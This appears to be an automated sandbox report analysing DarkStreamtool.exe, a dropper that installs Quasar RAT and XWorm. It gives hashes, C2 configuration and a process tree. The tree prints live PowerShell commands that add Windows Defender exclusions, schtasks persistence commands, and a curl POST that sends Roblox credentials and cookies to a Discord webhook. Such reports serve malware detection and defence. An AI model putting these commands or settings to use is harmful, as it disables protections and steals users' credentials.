Analysis

  • max time kernel
    298s
  • max time network
    300s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20250128-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20250128-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    04-02-2025 11:58

General

  • Target

    DarkStreamtool.exe

  • Size

    4.1MB

  • MD5

    6d9183425590b05efc503b0d0e780f49

  • SHA1

    e3ac46bf52e48cf98988bc908a3a3de431f735a4

  • SHA256

    8fa822e17a1199c462d0c7c417f86771e2049934bb469f15cfa464168d2734c8

  • SHA512

    7fdbe76f8b502197972255cefd1acd5870052f7a2c2e2b4fdefe62cfd8d7870a93b2e24ff77f113bfe4f7c604ff8df7e54228091ff82cd8128886492365f701c

  • SSDEEP

    49152:DBFc8ar83KZDGR8+IMJupLUFFFFFA9MQ195PS096hbHITCOPyWtjXQStUCV4S3I:DBCzDCR8dKFFFFF5IS096ZlGtSYIQJ

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

System Use

C2

search-varies.gl.at.ply.gg:4782

Mutex

b190c4c7-b07b-4e91-b02a-b4c0db119749

Attributes
  • encryption_key

    7EFB9B56C32456D72E73A7558DE372F4393A10ED

  • install_name

    Client.exe

  • log_directory

    Discord

  • reconnect_delay

    3000

  • startup_key

    Discord

  • subdirectory

    SubDir

Extracted

Family

xworm

C2

127.0.0.1:38692

search-varies.gl.at.ply.gg:38692

Attributes
  • Install_directory

    %Userprofile%

  • install_file

    USB.exe

Signatures

  • Detect Xworm Payload 2 IoCs
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 5 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\DarkStreamtool.exe
    "C:\Users\Admin\AppData\Local\Temp\DarkStreamtool.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1476
    • C:\Users\Admin\AppData\Roaming\Client-built.exe
      "C:\Users\Admin\AppData\Roaming\Client-built.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3520
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks" /create /tn "Discord" /sc ONLOGON /tr "C:\Windows\system32\SubDir\Client.exe" /rl HIGHEST /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:548
      • C:\Windows\system32\SubDir\Client.exe
        "C:\Windows\system32\SubDir\Client.exe"
        3⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4908
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "Discord" /sc ONLOGON /tr "C:\Windows\system32\SubDir\Client.exe" /rl HIGHEST /f
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4088
    • C:\Users\Admin\AppData\Roaming\DarkStream rat.exe
      "C:\Users\Admin\AppData\Roaming\DarkStream rat.exe"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2324
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\DarkStream rat.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2872
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'DarkStream rat.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4148
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\System User'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4012
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System User'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1184
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System User" /tr "C:\Users\Admin\System User"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:240
    • C:\Users\Admin\AppData\Roaming\DarkStream.exe
      "C:\Users\Admin\AppData\Roaming\DarkStream.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3108
      • C:\Windows\system32\cmd.exe
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\784D.tmp\784E.tmp\784F.bat C:\Users\Admin\AppData\Roaming\DarkStream.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3260
        • C:\Windows\system32\curl.exe
          curl -H "Content-Type: application/json" -X POST -d "{\"content\":\"@everyone @here Your Roblox Username: Roblox \\nYour Password: roblox \\nYour Roblox Cookie: asdasd \\nWebhook1 URL: asdasd\"}" https://discordapp.com/api/webhooks/1324911366091571302/efZRWNiEBUsadKDjEZa8bbpqUtdcRCdAQWsUxNDTsddKSaiyb6aTzLLTa5R9hWQY9Qow
          4⤵
            PID:2168
      • C:\Users\Admin\AppData\Roaming\SilverClient1.exe
        "C:\Users\Admin\AppData\Roaming\SilverClient1.exe"
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4648
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4052
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc daily /tn "_Task-DAILY-21PM" /TR "%MyFile%" /ST 21:00
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:632

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      3KB

      MD5

      3eb3833f769dd890afc295b977eab4b4

      SHA1

      e857649b037939602c72ad003e5d3698695f436f

      SHA256

      c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

      SHA512

      c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      c93b17f97715f88f95a76174b56567f8

      SHA1

      793aa0a974455af3e282822485d6253c77f4b20d

      SHA256

      58cc50193dcd13022a9049f02f989294ad7739ad87106811e0b1c1486ee0bcb8

      SHA512

      bbae3e8d4718d8e7ea50cf0b025effc227df1a3d4785e8cc88e05d1b2d80a1a32c03864064a3b6cb25a18f4d86ec07e95c1ba03fa6be43447675d7a859d3f364

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      85e8121ba94480e293a66423841d414c

      SHA1

      4b2ccb305a86cc40082aca8e87e8f205347a456e

      SHA256

      ed29479ad5ba86b59f0088cebdb845862ad4cffc96ece1f4ff7de8e511fc5c17

      SHA512

      c9922c941f26be1f63ccb00106cc8b3e2025fc176e7a4f099a008fe3f89afebd6a1e99b73b3dd322c3b26a0aece60091ea48e433a1df586aa4fcda5cf666b692

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      066d7a664db2b501867c3274116fa5bb

      SHA1

      3514956514f3dd4334c39dfef89e079a50b04695

      SHA256

      900bdacbe2e6fcddc3dbf613a5f29a8e3f6eca3a57681c3b3c3cae2ab7b190ca

      SHA512

      85efdd87bc36f6b96b1b5d126c4208921fa1aa46a7f1de91fe858e59dc47c942873b99b9bb96d12307f8534bec8e4586862edbfad76304b167f3c6d9e4a6fa5e

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      6a807b1c91ac66f33f88a787d64904c1

      SHA1

      83c554c7de04a8115c9005709e5cd01fca82c5d3

      SHA256

      155314c1c86d8d4e5b802f1eef603c5dd4a2f7c949f069a38af5ba4959bd8256

      SHA512

      29f2d9f30fc081e7fe6e9fb772c810c9be0422afdc6aff5a286f49a990ededebcf0d083798c2d9f41ad8434393c6d0f5fa6df31226d9c3511ba2a41eb4a65200

    • C:\Users\Admin\AppData\Local\Temp\784D.tmp\784E.tmp\784F.bat

      Filesize

      3KB

      MD5

      d9c237dadc0e155944d2b84dff601e0a

      SHA1

      3ccb2f199e177a0b4604141a238225c6480be5ff

      SHA256

      11b56089d5a7ecef6f269cf35e0d16d5d8a617d5950dbaca1d1a6961e9bcb1ab

      SHA512

      bbe9d2c2a081be2facf147510fa076b54a8b98d7bb5268dad4d92b5b76aa385574fea6545ea729b00b0dda83af3115471272fb25784eefaac66341ee8b21aed6

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2oum32bc.qjq.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Client-built.exe

      Filesize

      3.1MB

      MD5

      3fe1ee7622b3c2a1963b19492be48f94

      SHA1

      2bd82d9bc775e51812d8b79dd50dfacf27cc8fbe

      SHA256

      6e0d421546daee69c012b490df597fa44f12e3f231de7d47d2cc63fb58caf222

      SHA512

      dfbf124a4bffe65f3ae3caae2cdd9ce8b1968f0b07181b3053ee3cb46a90348a7d7f7b9a98012483485f71c523fc1076c28cdd42c9db4f96fce61114505f70be

    • C:\Users\Admin\AppData\Roaming\DarkStream rat.exe

      Filesize

      336KB

      MD5

      0af66d0aceba9b0bd6c9afa1db47f3ea

      SHA1

      7332728e637c0d3eb37337b853a5f7bb15269f1f

      SHA256

      406e38f3a4ecb5c65c553c5cb9d50d801d23a054cc85a92fc02e9ee91423fae1

      SHA512

      d87bd47bd178e655f69b15389410cced6560d8623dbb2463a7b161c0a6ea22386257f05d60fc40c0862ab6c29bfa5030272353bcfb8957ffc89d9022b7b65029

    • C:\Users\Admin\AppData\Roaming\DarkStream.exe

      Filesize

      356KB

      MD5

      2842a6174f32275bb7f0d60424eceedc

      SHA1

      1aa05132bf6bd5235aa59520d3b78f0710b44031

      SHA256

      d2fe7f3dacce7205dd6a3b951bf9d215c9175540e7ec6ef460d0767893ddcb8f

      SHA512

      e79d553b9f29e6d3745adc712c73d6ed587ff4d7f80d55b0422f6127999d6a298dccb7d4d543b31645d433e7945950c472eaeb386577e402b733cc1f7393a023

    • C:\Users\Admin\AppData\Roaming\SilverClient1.exe

      Filesize

      35KB

      MD5

      d5fed599d7b568f20b8e81e1f4246366

      SHA1

      a6e80d11f33ccda19984a793a97f99e79124d4bf

      SHA256

      4b2ee2022a19530f6e4db15f866c5e5f713f254e578edd4cee0c5c1fe2c05a2e

      SHA512

      88d3d560c79799ae163b8bfee461b8ccba703035cf8e7ee06d004e3836afa4c5c1d44888929ebb16d0e05799a5fff8d9a741cdc25d94a3e907a76a0705186663

    • memory/1476-1-0x0000000000860000-0x0000000000C80000-memory.dmp

      Filesize

      4.1MB

    • memory/1476-0-0x00007FFA547A3000-0x00007FFA547A5000-memory.dmp

      Filesize

      8KB

    • memory/2324-133-0x00007FFA547A0000-0x00007FFA55262000-memory.dmp

      Filesize

      10.8MB

    • memory/2324-59-0x00007FFA547A0000-0x00007FFA55262000-memory.dmp

      Filesize

      10.8MB

    • memory/2324-58-0x0000000000C50000-0x0000000000CAA000-memory.dmp

      Filesize

      360KB

    • memory/3520-51-0x00000000007B0000-0x0000000000AD4000-memory.dmp

      Filesize

      3.1MB

    • memory/3520-75-0x00007FFA547A0000-0x00007FFA55262000-memory.dmp

      Filesize

      10.8MB

    • memory/3520-55-0x00007FFA547A0000-0x00007FFA55262000-memory.dmp

      Filesize

      10.8MB

    • memory/4052-69-0x0000020CF0190000-0x0000020CF01B2000-memory.dmp

      Filesize

      136KB

    • memory/4648-56-0x0000000000FE0000-0x0000000000FEE000-memory.dmp

      Filesize

      56KB

    • memory/4908-79-0x000000001CBA0000-0x000000001CC52000-memory.dmp

      Filesize

      712KB

    • memory/4908-78-0x00000000030F0000-0x0000000003140000-memory.dmp

      Filesize

      320KB

    • memory/4908-125-0x000000001D390000-0x000000001D8B8000-memory.dmp

      Filesize

      5.2MB